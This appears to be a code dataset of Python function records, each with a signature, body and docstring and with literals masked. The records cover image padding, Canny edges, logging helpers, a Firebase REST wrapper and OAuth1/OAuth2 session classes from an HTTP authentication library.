{"signature": "def pad_if_need(sz_atleast, img, mode='<STR_LIT>'):<EOL>", "body": "<EOL>imsz = img.shape[:<NUM_LIT:2>]  <EOL>padneed = np.asarray((sz_atleast[<NUM_LIT:0>] - imsz[<NUM_LIT:0>], sz_atleast[<NUM_LIT:1>] - imsz[<NUM_LIT:1>]))<EOL>if np.any(padneed > <NUM_LIT:0>):<EOL><INDENT>padding = np.zeros((img.ndim, <NUM_LIT:2>), dtype='<STR_LIT>')<EOL>padneed = np.maximum(padneed, <NUM_LIT:0>)<EOL>padding[:<NUM_LIT:2>, <NUM_LIT:0>] = padneed/<NUM_LIT:2><EOL>padding[:<NUM_LIT:2>, <NUM_LIT:1>] = padneed - padneed/<NUM_LIT:2><EOL>img = np.pad(img, padding, mode=mode)<EOL><DEDENT>return img<EOL>", "docstring": "pad img if need to guarantee minumum size\n:param sz_atleast: [H,W] at least\n:param img: image np.array [H,W, ...]\n:param mode: str, padding mode\n:return: padded image or asis if enought size", "id": "f6390:m25"}
{"signature": "def canny(img, threshold1=<NUM_LIT:255>/<NUM_LIT:3>, threshold2=<NUM_LIT:255>, **kwargs):", "body": "import cv2<EOL>if img.ndim <= <NUM_LIT:3>:<EOL><INDENT>edge = cv2.Canny(img, threshold1, threshold2, **kwargs)<EOL>if edge.ndim == <NUM_LIT:2>:<EOL><INDENT>edge = np.expand_dims(edge, <NUM_LIT:2>)<EOL><DEDENT><DEDENT>elif img.ndim == <NUM_LIT:4>:<EOL><INDENT>edge = np.asarray([cv2.Canny(i, threshold1, threshold2, **kwargs) for i in img])<EOL>if edge.ndim == <NUM_LIT:3>:<EOL><INDENT>edge = np.expand_dims(edge, <NUM_LIT:3>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return edge<EOL>", "docstring": "canny edge", "id": "f6390:m26"}
{"signature": "def getlogger(pkg='<STR_LIT>', handler=None):", "body": "from .caller import caller<EOL>if not pkg:<EOL><INDENT>m = caller.modulename()<EOL>s = m.split('<STR_LIT:.>', <NUM_LIT:1>)<EOL>if len(s) > <NUM_LIT:1>:<EOL><INDENT>pkg = s[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>if haslogger(pkg):<EOL><INDENT>return logging.getLogger(pkg)<EOL><DEDENT>else:<EOL><INDENT>logger = logging.getLogger(pkg)<EOL>logger.addHandler(handler or default_handler)<EOL>logger.setLevel(logging.DEBUG)<EOL>return logger<EOL><DEDENT>", "docstring": "\ud328\ud0a4\uc9c0 \ud639\uc740 \ucc44\ub110 \ub85c\uac70\nlogging.getLogger(package_name) or logg.getLogger()\n:param pkg: str", "id": "f6392:m0"}
{"signature": "def haslogger(name):", "body": "return name in logging.Logger.manager.loggerDict or not name<EOL>", "docstring": "name\uc758 \ub85c\uac70\uac00 \uc788\ub294\uc9c0 \uc5c6\ub294\uc9c0 \uccb4\ud06c. root logger\ub294 \ubb34\uc870\uac74 \ub9cc\ub4e4\uc5b4\uc9c4\ub2e4.", "id": "f6392:m1"}
{"signature": "def basicConfig(**kw):", "body": "while len(logging.root.handlers) > <NUM_LIT:0>:<EOL><INDENT>logging.root.removeHandler(logging.root.handlers[-<NUM_LIT:1>])<EOL><DEDENT>logging.basicConfig(**kw)<EOL>", "docstring": "logging\uc758 \ub85c\uadf8\ub97c \ud55c\ubc88 \ud638\ucd9c\ud558\uba74 basicConfig\uac00 \uc548\uba39\uc73c\ubbc0\ub85c. \uae30\uc874 \ud578\ub4e4\ub7ec \uc0ad\uc81c\ud6c4 \uc7ac\uc124\uc815.\n    http://stackoverflow.com/questions/1943747/python-logging-before-you-run-logging-basicconfig\n    ex)\n    basicConfig(format='%(asctime)s %(message)s', level=logging.DEBUG)\n    :param filename: Specifies that a FileHandler be created, using the specified filename, rather than a StreamHandler.\n    :param filemode: Specifies the mode to open the file, if filename is specified (if filemode is unspecified, it defaults to \u2018a\u2019).\n    :param format: Use the specified format string for the handler. (https://docs.python.org/2.7/library/logging.html#logging.basicConfig\n    :param datefmt: Use the specified date/time format.\n    :param level: Set the root logger level to the specified level.\n    :param stream: Use the specified stream to initialize the StreamHandler. Note that this argument is incompatible with \u2018filename\u2019 - if both are present, \u2018stream\u2019 is ignored.", "id": "f6392:m2"}
{"signature": "def format(self, record):", "body": "try:<EOL><INDENT>record.message = record.getMessage()<EOL><DEDENT>except TypeError:<EOL><INDENT>if record.args:<EOL><INDENT>if isinstance(record.args, collections.Mapping):<EOL><INDENT>record.message = record.msg.format(**record.args)<EOL><DEDENT>else:<EOL><INDENT>record.message = record.msg.format(record.args)<EOL><DEDENT><DEDENT><DEDENT>self._fmt = self.getfmt(record.levelname)<EOL>if self.usesTime():<EOL><INDENT>record.asctime = self.formatTime(record, self.datefmt)<EOL><DEDENT>s = self._fmt.format(**record.__dict__)<EOL>if record.exc_info:<EOL><INDENT>if not record.exc_text:<EOL><INDENT>record.exc_text = self.formatException(record.exc_info)<EOL><DEDENT><DEDENT>if record.exc_text:<EOL><INDENT>if s[-<NUM_LIT:1>:] != '<STR_LIT:\\n>':<EOL><INDENT>s += '<STR_LIT:\\n>'<EOL><DEDENT>try:<EOL><INDENT>s = s + record.exc_text<EOL><DEDENT>except UnicodeError:<EOL><INDENT>s = s + record.exc_text.decode(sys.getfilesystemencoding(), '<STR_LIT:replace>')<EOL><DEDENT><DEDENT>return s<EOL>", "docstring": "tweaked from source of base", "id": "f6392:c0:m4"}
{"signature": "def __getnewargs__(self):", "body": "return tuple()<EOL>", "docstring": "pickling related", "id": "f6393:c0:m17"}
{"signature": "def intersect(self, other):", "body": "return ODict((k, self[k]) for k in self if k in other)<EOL>", "docstring": "self\uc640 other \ud0a4\uac00 \ub3d9\uc77c\ud55c \uc544\uc774\ud15c\uc758 dictobj\n:type other: dict\n:rtype: dictobj:", "id": "f6393:c0:m21"}
{"signature": "@staticmethod<EOL><INDENT>def from_dict(dic):<DEDENT>", "body": "return ODict((k, ODict.convert_ifdic(v)) for k, v in dic.items())<EOL>", "docstring": "recursive dict to dictobj \ucee8\ubc84\ud2b8\n:param dic:\n:return:", "id": "f6393:c0:m22"}
{"signature": "def valid_url(name):", "body": "try:<EOL><INDENT>pattern = r'<STR_LIT>'<EOL>result = re.search(pattern, name + '<STR_LIT:/>').group()<EOL>result = result[:len(result) - <NUM_LIT:1>]<EOL>if result == name:<EOL><INDENT>return name<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Validates a Firebase URL. A valid URL must exhibit:\n- Protocol must be HTTPS\n- Domain Must be firebaseio.com\n- firebasename can only contain:\n      - hyphen, small and capital letters\n- firebasename can not have leading and trailing hyphens\n- childnames can not contain:\n    - period, dollar sign, square brackets, pound\n    - ASCII Control Chars from \\x00 - \\x1F and \\x7F", "id": "f6395:m0"}
{"signature": "def __init__(self, url, auth=None):", "body": "self.__url = url<EOL>self.__auth = auth<EOL>self.__attr = {<EOL>\"<STR_LIT:time>\": time(),<EOL>\"<STR_LIT:url>\": self.__url,<EOL>\"<STR_LIT>\": self.__auth<EOL>}<EOL>", "docstring": "url - (String) a valid Firebase URL\nauth - (String) a Firebase authentication token", "id": "f6396:c0:m0"}
{"signature": "def attr(self):", "body": "return self.__attr['<STR_LIT:time>'], self.__attr['<STR_LIT:url>'],  self.__attr['<STR_LIT>']<EOL>", "docstring": "Returns a Tuple with the Attributes of the Firebase", "id": "f6396:c0:m1"}
{"signature": "def root(self):", "body": "i = self.__url.find('<STR_LIT>') + <NUM_LIT:4><EOL>return self.__url[:i]<EOL>", "docstring": "Returns the Root URL of the Firebase. E.g. a Firebase at\n'https://my_firebase.firebaseio.com/users' has its root at\n'https://my_firebase.firebaseio.com'", "id": "f6396:c0:m2"}
{"signature": "def name(self):", "body": "i = self.__url.rfind('<STR_LIT:/>')<EOL>if self.__url[:i] == '<STR_LIT>':<EOL><INDENT>return \"<STR_LIT:/>\"<EOL><DEDENT>return self.__url[i+<NUM_LIT:1>:]<EOL>", "docstring": "Returns the name of the Firebase. If a Firebase instance points to\n'https://my_firebase.firebaseio.com/users' its name would be 'users'", "id": "f6396:c0:m3"}
{"signature": "def toString(self):", "body": "return str(self.__url)<EOL>", "docstring": "Returns a String representing the Firebase URL", "id": "f6396:c0:m4"}
{"signature": "def url_correct(self, point, auth=None, export=None):", "body": "newUrl = self.__url + point + '<STR_LIT>'<EOL>if auth or export:<EOL><INDENT>newUrl += \"<STR_LIT:?>\"<EOL><DEDENT>if auth:<EOL><INDENT>newUrl += (\"<STR_LIT>\" + auth)<EOL><DEDENT>if export:<EOL><INDENT>if not newUrl.endswith('<STR_LIT:?>'):<EOL><INDENT>newUrl += \"<STR_LIT:&>\"<EOL><DEDENT>newUrl += \"<STR_LIT>\"<EOL><DEDENT>return newUrl<EOL>", "docstring": "Returns a Corrected URL to be used for a Request\nas per the REST API.", "id": "f6396:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def __read(path):<DEDENT>", "body": "try:<EOL><INDENT>with open(path, '<STR_LIT:r>') as data_file:<EOL><INDENT>data = data_file.read()<EOL>data = json.loads(data)<EOL>return data<EOL><DEDENT><DEDENT>except IOError as err:<EOL><INDENT>pass<EOL><DEDENT>except Exception as err:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Reads a File with contents in correct JSON format.\nReturns the data as Python objects.\npath - (string) path to the file", "id": "f6396:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def __write(path, data, mode=\"<STR_LIT:w>\"):<DEDENT>", "body": "with open(path, mode) as data_file:<EOL><INDENT>data = json.dumps(data, indent=<NUM_LIT:4>)<EOL>data_file.write(data)<EOL>return data<EOL><DEDENT>", "docstring": "Writes to a File. Returns the data written.\npath - (string) path to the file to write to.\ndata - (json) data from a request.\nmode - (string) mode to open the file in. Default to 'w'. Overwrites.", "id": "f6396:c0:m7"}
{"signature": "def amust(self, args, argv):", "body": "for arg in args:<EOL><INDENT>if str(arg) not in argv:<EOL><INDENT>raise KeyError(\"<STR_LIT>\" + str(arg) + \"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Requires the User to provide a certain parameter\nfor the method to function properly.\nElse, an Exception is raised.\nargs - (tuple) arguments you are looking for.\nargv - (dict) arguments you have received and want to inspect.", "id": "f6396:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def catch_error(response):<DEDENT>", "body": "status = response.status_code<EOL>if status == <NUM_LIT> or status == <NUM_LIT>:<EOL><INDENT>raise EnvironmentError(\"<STR_LIT>\")<EOL><DEDENT>elif status == <NUM_LIT> or status == <NUM_LIT>:<EOL><INDENT>raise EnvironmentError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Checks for Errors in a Response.\n401 or 403 - Security Rules Violation.\n404 or 417 - Firebase NOT Found.\nresponse - (Request.Response) - response from a request.", "id": "f6396:c0:m9"}
{"signature": "def get_sync(self, **kwargs):", "body": "self.amust((\"<STR_LIT>\",), kwargs)<EOL>response = requests.get(self.url_correct(kwargs[\"<STR_LIT>\"],<EOL>kwargs.get(\"<STR_LIT>\", self.__auth)))<EOL>self.catch_error(response)<EOL>return response.content<EOL>", "docstring": "GET:  gets data from the Firebase.\nRequires the 'point' parameter as a keyworded argument.", "id": "f6396:c0:m10"}
{"signature": "def put_sync(self, **kwargs):", "body": "self.amust((\"<STR_LIT>\", \"<STR_LIT:data>\"), kwargs)<EOL>response = requests.put(self.url_correct(kwargs[\"<STR_LIT>\"],<EOL>kwargs.get(\"<STR_LIT>\", self.__auth)),<EOL>data=json.dumps(kwargs[\"<STR_LIT:data>\"]))<EOL>self.catch_error(response)<EOL>return response.content<EOL>", "docstring": "PUT:  puts data into the Firebase.\nRequires the 'point' parameter as a keyworded argument.", "id": "f6396:c0:m11"}
{"signature": "def post_sync(self, **kwargs):", "body": "self.amust((\"<STR_LIT>\", \"<STR_LIT:data>\"), kwargs)<EOL>response = requests.post(self.url_correct(<EOL>kwargs[\"<STR_LIT>\"],<EOL>kwargs.get(\"<STR_LIT>\", self.__auth)),<EOL>data=json.dumps(kwargs[\"<STR_LIT:data>\"]))<EOL>self.catch_error(response)<EOL>return response.content<EOL>", "docstring": "POST:  post data to a Firebase.\nRequires the 'point' parameter as a keyworded argument.\nNote: Firebase will give it a randomized \"key\"\nand the data will be the \"value\". Thus a key-value pair", "id": "f6396:c0:m12"}
{"signature": "def update_sync(self, **kwargs):", "body": "self.amust((\"<STR_LIT>\", \"<STR_LIT:data>\"), kwargs)<EOL>response = requests.patch(self.url_correct(<EOL>kwargs[\"<STR_LIT>\"],<EOL>kwargs.get(\"<STR_LIT>\", self.__auth)),<EOL>data=json.dumps(kwargs[\"<STR_LIT:data>\"]))<EOL>self.catch_error(response)<EOL>return response.content<EOL>", "docstring": "UPDATE: updates data in the Firebase.\nRequires the 'point' parameter as a keyworded argument.", "id": "f6396:c0:m13"}
{"signature": "def delete_sync(self, **kwargs):", "body": "self.amust((\"<STR_LIT>\",), kwargs)<EOL>response = requests.delete(self.url_correct(<EOL>kwargs[\"<STR_LIT>\"],<EOL>kwargs.get(\"<STR_LIT>\", self.__auth)))<EOL>self.catch_error(response)<EOL>return response.content<EOL>", "docstring": "DELETE: delete data in the Firebase.\nRequires the 'point' parameter as a keyworded argument.", "id": "f6396:c0:m14"}
{"signature": "def export_sync(self, **kwargs):", "body": "self.amust((\"<STR_LIT>\",), kwargs)<EOL>response = requests.get(self.url_correct(kwargs[\"<STR_LIT>\"],<EOL>kwargs.get(\"<STR_LIT>\", self.__auth), True))<EOL>self.catch_error(response)<EOL>path = kwargs.get(\"<STR_LIT:path>\", None)<EOL>if path:<EOL><INDENT>self.__write(path, response.content, kwargs.get(\"<STR_LIT>\", \"<STR_LIT:w>\"))<EOL><DEDENT>return response.content<EOL>", "docstring": "EXPORT: exports data from the Firebase into a File, if given.\nRequires the 'point' parameter as a keyworded argument.", "id": "f6396:c0:m15"}
{"signature": "def __call__(self, r):", "body": "<EOL>log.debug(\"<STR_LIT>\", r, self.client)<EOL>content_type = r.headers.get(\"<STR_LIT:Content-Type>\", \"<STR_LIT>\")<EOL>if (<EOL>not content_type<EOL>and extract_params(r.body)<EOL>or self.client.signature_type == SIGNATURE_TYPE_BODY<EOL>):<EOL><INDENT>content_type = CONTENT_TYPE_FORM_URLENCODED<EOL><DEDENT>if not isinstance(content_type, unicode):<EOL><INDENT>content_type = content_type.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>is_form_encoded = CONTENT_TYPE_FORM_URLENCODED in content_type<EOL>log.debug(<EOL>\"<STR_LIT>\",<EOL>is_form_encoded or self.force_include_body,<EOL>)<EOL>if is_form_encoded:<EOL><INDENT>r.headers[\"<STR_LIT:Content-Type>\"] = CONTENT_TYPE_FORM_URLENCODED<EOL>r.url, headers, r.body = self.client.sign(<EOL>unicode(r.url), unicode(r.method), r.body or \"<STR_LIT>\", r.headers<EOL>)<EOL><DEDENT>elif self.force_include_body:<EOL><INDENT>r.url, headers, r.body = self.client.sign(<EOL>unicode(r.url), unicode(r.method), r.body or \"<STR_LIT>\", r.headers<EOL>)<EOL><DEDENT>else:<EOL><INDENT>r.url, headers, _ = self.client.sign(<EOL>unicode(r.url), unicode(r.method), None, r.headers<EOL>)<EOL><DEDENT>r.prepare_headers(headers)<EOL>r.url = to_native_string(r.url)<EOL>log.debug(\"<STR_LIT>\", r.url)<EOL>log.debug(\"<STR_LIT>\", headers)<EOL>log.debug(\"<STR_LIT>\", r.body)<EOL>return r<EOL>", "docstring": "Add OAuth parameters to the request.\n\n        Parameters may be included from the body if the content-type is\n        urlencoded, if no content type is set a guess is made.", "id": "f6399:c0:m1"}
{"signature": "def urldecode(body):", "body": "try:<EOL><INDENT>return _urldecode(body)<EOL><DEDENT>except Exception:<EOL><INDENT>import json<EOL>return json.loads(body)<EOL><DEDENT>", "docstring": "Parse query or json to python dictionary", "id": "f6400:m0"}
{"signature": "@property<EOL><INDENT>def status_code(self):<DEDENT>", "body": "return self.response.status_code<EOL>", "docstring": "For backwards-compatibility purposes", "id": "f6400:c0:m1"}
{"signature": "def __init__(<EOL>self,<EOL>client_key,<EOL>client_secret=None,<EOL>resource_owner_key=None,<EOL>resource_owner_secret=None,<EOL>callback_uri=None,<EOL>signature_method=SIGNATURE_HMAC,<EOL>signature_type=SIGNATURE_TYPE_AUTH_HEADER,<EOL>rsa_key=None,<EOL>verifier=None,<EOL>client_class=None,<EOL>force_include_body=False,<EOL>**kwargs<EOL>):", "body": "super(OAuth1Session, self).__init__()<EOL>self._client = OAuth1(<EOL>client_key,<EOL>client_secret=client_secret,<EOL>resource_owner_key=resource_owner_key,<EOL>resource_owner_secret=resource_owner_secret,<EOL>callback_uri=callback_uri,<EOL>signature_method=signature_method,<EOL>signature_type=signature_type,<EOL>rsa_key=rsa_key,<EOL>verifier=verifier,<EOL>client_class=client_class,<EOL>force_include_body=force_include_body,<EOL>**kwargs<EOL>)<EOL>self.auth = self._client<EOL>", "docstring": "Construct the OAuth 1 session.\n\n        :param client_key: A client specific identifier.\n        :param client_secret: A client specific secret used to create HMAC and\n                              plaintext signatures.\n        :param resource_owner_key: A resource owner key, also referred to as\n                                   request token or access token depending on\n                                   when in the workflow it is used.\n        :param resource_owner_secret: A resource owner secret obtained with\n                                      either a request or access token. Often\n                                      referred to as token secret.\n        :param callback_uri: The URL the user is redirect back to after\n                             authorization.\n        :param signature_method: Signature methods determine how the OAuth\n                                 signature is created. The three options are\n                                 oauthlib.oauth1.SIGNATURE_HMAC (default),\n                                 oauthlib.oauth1.SIGNATURE_RSA and\n                                 oauthlib.oauth1.SIGNATURE_PLAIN.\n        :param signature_type: Signature type decides where the OAuth\n                               parameters are added. Either in the\n                               Authorization header (default) or to the URL\n                               query parameters or the request body. Defined as\n                               oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER,\n                               oauthlib.oauth1.SIGNATURE_TYPE_QUERY and\n                               oauthlib.oauth1.SIGNATURE_TYPE_BODY\n                               respectively.\n        :param rsa_key: The private RSA key as a string. Can only be used with\n                        signature_method=oauthlib.oauth1.SIGNATURE_RSA.\n        :param verifier: A verifier string to prove authorization was granted.\n        :param client_class: A subclass of `oauthlib.oauth1.Client` to use with\n                             `requests_oauthlib.OAuth1` instead of the default\n        :param force_include_body: Always include the request body in the\n                                   signature creation.\n        :param **kwargs: Additional keyword arguments passed to `OAuth1`", "id": "f6400:c3:m0"}
{"signature": "@property<EOL><INDENT>def authorized(self):<DEDENT>", "body": "if self._client.client.signature_method == SIGNATURE_RSA:<EOL><INDENT>return bool(self._client.client.resource_owner_key)<EOL><DEDENT>else:<EOL><INDENT>return (<EOL>bool(self._client.client.client_secret)<EOL>and bool(self._client.client.resource_owner_key)<EOL>and bool(self._client.client.resource_owner_secret)<EOL>)<EOL><DEDENT>", "docstring": "Boolean that indicates whether this session has an OAuth token\n        or not. If `self.authorized` is True, you can reasonably expect\n        OAuth-protected requests to the resource to succeed. If\n        `self.authorized` is False, you need the user to go through the OAuth\n        authentication dance before OAuth-protected requests to the resource\n        will succeed.", "id": "f6400:c3:m3"}
{"signature": "def authorization_url(self, url, request_token=None, **kwargs):", "body": "kwargs[\"<STR_LIT>\"] = request_token or self._client.client.resource_owner_key<EOL>log.debug(\"<STR_LIT>\", kwargs, url)<EOL>return add_params_to_uri(url, kwargs.items())<EOL>", "docstring": "Create an authorization URL by appending request_token and optional\n        kwargs to url.\n\n        This is the second step in the OAuth 1 workflow. The user should be\n        redirected to this authorization URL, grant access to you, and then\n        be redirected back to you. The redirection back can either be specified\n        during client registration or by supplying a callback URI per request.\n\n        :param url: The authorization endpoint URL.\n        :param request_token: The previously obtained request token.\n        :param kwargs: Optional parameters to append to the URL.\n        :returns: The authorization URL with new parameters embedded.\n\n        An example using a registered default callback URI.\n\n        >>> request_token_url = 'https://api.twitter.com/oauth/request_token'\n        >>> authorization_url = 'https://api.twitter.com/oauth/authorize'\n        >>> oauth_session = OAuth1Session('client-key', client_secret='secret')\n        >>> oauth_session.fetch_request_token(request_token_url)\n        {\n            'oauth_token': 'sdf0o9823sjdfsdf',\n            'oauth_token_secret': '2kjshdfp92i34asdasd',\n        }\n        >>> oauth_session.authorization_url(authorization_url)\n        'https://api.twitter.com/oauth/authorize?oauth_token=sdf0o9823sjdfsdf'\n        >>> oauth_session.authorization_url(authorization_url, foo='bar')\n        'https://api.twitter.com/oauth/authorize?oauth_token=sdf0o9823sjdfsdf&foo=bar'\n\n        An example using an explicit callback URI.\n\n        >>> request_token_url = 'https://api.twitter.com/oauth/request_token'\n        >>> authorization_url = 'https://api.twitter.com/oauth/authorize'\n        >>> oauth_session = OAuth1Session('client-key', client_secret='secret', callback_uri='https://127.0.0.1/callback')\n        >>> oauth_session.fetch_request_token(request_token_url)\n        {\n            'oauth_token': 'sdf0o9823sjdfsdf',\n            'oauth_token_secret': '2kjshdfp92i34asdasd',\n        }\n        >>> oauth_session.authorization_url(authorization_url)\n        'https://api.twitter.com/oauth/authorize?oauth_token=sdf0o9823sjdfsdf&oauth_callback=https%3A%2F%2F127.0.0.1%2Fcallback'", "id": "f6400:c3:m4"}
{"signature": "def fetch_request_token(self, url, realm=None, **request_kwargs):", "body": "self._client.client.realm = \"<STR_LIT:U+0020>\".join(realm) if realm else None<EOL>token = self._fetch_token(url, **request_kwargs)<EOL>log.debug(\"<STR_LIT>\")<EOL>self._client.client.callback_uri = None<EOL>self._client.client.realm = None<EOL>return token<EOL>", "docstring": "r\"\"\"Fetch a request token.\n\n        This is the first step in the OAuth 1 workflow. A request token is\n        obtained by making a signed post request to url. The token is then\n        parsed from the application/x-www-form-urlencoded response and ready\n        to be used to construct an authorization url.\n\n        :param url: The request token endpoint URL.\n        :param realm: A list of realms to request access to.\n        :param \\*\\*request_kwargs: Optional arguments passed to ''post''\n        function in ''requests.Session''\n        :returns: The response in dict format.\n\n        Note that a previously set callback_uri will be reset for your\n        convenience, or else signature creation will be incorrect on\n        consecutive requests.\n\n        >>> request_token_url = 'https://api.twitter.com/oauth/request_token'\n        >>> oauth_session = OAuth1Session('client-key', client_secret='secret')\n        >>> oauth_session.fetch_request_token(request_token_url)\n        {\n            'oauth_token': 'sdf0o9823sjdfsdf',\n            'oauth_token_secret': '2kjshdfp92i34asdasd',\n        }", "id": "f6400:c3:m5"}
{"signature": "def fetch_access_token(self, url, verifier=None, **request_kwargs):", "body": "if verifier:<EOL><INDENT>self._client.client.verifier = verifier<EOL><DEDENT>if not getattr(self._client.client, \"<STR_LIT>\", None):<EOL><INDENT>raise VerifierMissing(\"<STR_LIT>\")<EOL><DEDENT>token = self._fetch_token(url, **request_kwargs)<EOL>log.debug(\"<STR_LIT>\")<EOL>self._client.client.verifier = None<EOL>return token<EOL>", "docstring": "Fetch an access token.\n\n        This is the final step in the OAuth 1 workflow. An access token is\n        obtained using all previously obtained credentials, including the\n        verifier from the authorization step.\n\n        Note that a previously set verifier will be reset for your\n        convenience, or else signature creation will be incorrect on\n        consecutive requests.\n\n        >>> access_token_url = 'https://api.twitter.com/oauth/access_token'\n        >>> redirect_response = 'https://127.0.0.1/callback?oauth_token=kjerht2309uf&oauth_token_secret=lsdajfh923874&oauth_verifier=w34o8967345'\n        >>> oauth_session = OAuth1Session('client-key', client_secret='secret')\n        >>> oauth_session.parse_authorization_response(redirect_response)\n        {\n            'oauth_token: 'kjerht2309u',\n            'oauth_token_secret: 'lsdajfh923874',\n            'oauth_verifier: 'w34o8967345',\n        }\n        >>> oauth_session.fetch_access_token(access_token_url)\n        {\n            'oauth_token': 'sdf0o9823sjdfsdf',\n            'oauth_token_secret': '2kjshdfp92i34asdasd',\n        }", "id": "f6400:c3:m6"}
{"signature": "def parse_authorization_response(self, url):", "body": "log.debug(\"<STR_LIT>\", url)<EOL>token = dict(urldecode(urlparse(url).query))<EOL>log.debug(\"<STR_LIT>\")<EOL>self._populate_attributes(token)<EOL>self.token = token<EOL>return token<EOL>", "docstring": "Extract parameters from the post authorization redirect response URL.\n\n        :param url: The full URL that resulted from the user being redirected\n                    back from the OAuth provider to you, the client.\n        :returns: A dict of parameters extracted from the URL.\n\n        >>> redirect_response = 'https://127.0.0.1/callback?oauth_token=kjerht2309uf&oauth_token_secret=lsdajfh923874&oauth_verifier=w34o8967345'\n        >>> oauth_session = OAuth1Session('client-key', client_secret='secret')\n        >>> oauth_session.parse_authorization_response(redirect_response)\n        {\n            'oauth_token: 'kjerht2309u',\n            'oauth_token_secret: 'lsdajfh923874',\n            'oauth_verifier: 'w34o8967345',\n        }", "id": "f6400:c3:m7"}
{"signature": "def rebuild_auth(self, prepared_request, response):", "body": "if \"<STR_LIT>\" in prepared_request.headers:<EOL><INDENT>prepared_request.headers.pop(\"<STR_LIT>\", True)<EOL>prepared_request.prepare_auth(self.auth)<EOL><DEDENT>return<EOL>", "docstring": "When being redirected we should always strip Authorization\nheader, since nonce may not be reused as per OAuth spec.", "id": "f6400:c3:m10"}
{"signature": "def __init__(self, client_id=None, client=None, token=None):", "body": "self._client = client or WebApplicationClient(client_id, token=token)<EOL>if token:<EOL><INDENT>for k, v in token.items():<EOL><INDENT>setattr(self._client, k, v)<EOL><DEDENT><DEDENT>", "docstring": "Construct a new OAuth 2 authorization object.\n\n        :param client_id: Client id obtained during registration\n        :param client: :class:`oauthlib.oauth2.Client` to be used. Default is\n                       WebApplicationClient which is useful for any\n                       hosted application but not mobile or desktop.\n        :param token: Token dictionary, must include access_token\n                      and token_type.", "id": "f6401:c0:m0"}
{"signature": "def __call__(self, r):", "body": "if not is_secure_transport(r.url):<EOL><INDENT>raise InsecureTransportError()<EOL><DEDENT>r.url, r.headers, r.body = self._client.add_token(<EOL>r.url, http_method=r.method, body=r.body, headers=r.headers<EOL>)<EOL>return r<EOL>", "docstring": "Append an OAuth 2 token to the request.\n\n        Note that currently HTTPS is required for all requests. There may be\n        a token type that allows for plain HTTP in the future and then this\n        should be updated to allow plain HTTP on a white list basis.", "id": "f6401:c0:m1"}
{"signature": "def __init__(<EOL>self,<EOL>client_id=None,<EOL>client=None,<EOL>auto_refresh_url=None,<EOL>auto_refresh_kwargs=None,<EOL>scope=None,<EOL>redirect_uri=None,<EOL>token=None,<EOL>state=None,<EOL>token_updater=None,<EOL>**kwargs<EOL>):", "body": "super(OAuth2Session, self).__init__(**kwargs)<EOL>self._client = client or WebApplicationClient(client_id, token=token)<EOL>self.token = token or {}<EOL>self.scope = scope<EOL>self.redirect_uri = redirect_uri<EOL>self.state = state or generate_token<EOL>self._state = state<EOL>self.auto_refresh_url = auto_refresh_url<EOL>self.auto_refresh_kwargs = auto_refresh_kwargs or {}<EOL>self.token_updater = token_updater<EOL>self.auth = lambda r: r<EOL>self.compliance_hook = {<EOL>\"<STR_LIT>\": set(),<EOL>\"<STR_LIT>\": set(),<EOL>\"<STR_LIT>\": set(),<EOL>}<EOL>", "docstring": "Construct a new OAuth 2 client session.\n\n        :param client_id: Client id obtained during registration\n        :param client: :class:`oauthlib.oauth2.Client` to be used. Default is\n                       WebApplicationClient which is useful for any\n                       hosted application but not mobile or desktop.\n        :param scope: List of scopes you wish to request access to\n        :param redirect_uri: Redirect URI you registered as callback\n        :param token: Token dictionary, must include access_token\n                      and token_type.\n        :param state: State string used to prevent CSRF. This will be given\n                      when creating the authorization url and must be supplied\n                      when parsing the authorization response.\n                      Can be either a string or a no argument callable.\n        :auto_refresh_url: Refresh token endpoint URL, must be HTTPS. Supply\n                           this if you wish the client to automatically refresh\n                           your access tokens.\n        :auto_refresh_kwargs: Extra arguments to pass to the refresh token\n                              endpoint.\n        :token_updater: Method with one argument, token, to be used to update\n                        your token database on automatic token refresh. If not\n                        set a TokenUpdated warning will be raised when a token\n                        has been refreshed. This warning will carry the token\n                        in its token argument.\n        :param kwargs: Arguments to pass to the Session constructor.", "id": "f6413:c1:m0"}
{"signature": "def new_state(self):", "body": "try:<EOL><INDENT>self._state = self.state()<EOL>log.debug(\"<STR_LIT>\", self._state)<EOL><DEDENT>except TypeError:<EOL><INDENT>self._state = self.state<EOL>log.debug(\"<STR_LIT>\", self._state)<EOL><DEDENT>return self._state<EOL>", "docstring": "Generates a state string to be used in authorizations.", "id": "f6413:c1:m1"}
{"signature": "@property<EOL><INDENT>def authorized(self):<DEDENT>", "body": "return bool(self.access_token)<EOL>", "docstring": "Boolean that indicates whether this session has an OAuth token\n        or not. If `self.authorized` is True, you can reasonably expect\n        OAuth-protected requests to the resource to succeed. If\n        `self.authorized` is False, you need the user to go through the OAuth\n        authentication dance before OAuth-protected requests to the resource\n        will succeed.", "id": "f6413:c1:m10"}
{"signature": "def authorization_url(self, url, state=None, **kwargs):", "body": "state = state or self.new_state()<EOL>return (<EOL>self._client.prepare_request_uri(<EOL>url,<EOL>redirect_uri=self.redirect_uri,<EOL>scope=self.scope,<EOL>state=state,<EOL>**kwargs<EOL>),<EOL>state,<EOL>)<EOL>", "docstring": "Form an authorization URL.\n\n        :param url: Authorization endpoint url, must be HTTPS.\n        :param state: An optional state string for CSRF protection. If not\n                      given it will be generated for you.\n        :param kwargs: Extra parameters to include.\n        :return: authorization_url, state", "id": "f6413:c1:m11"}
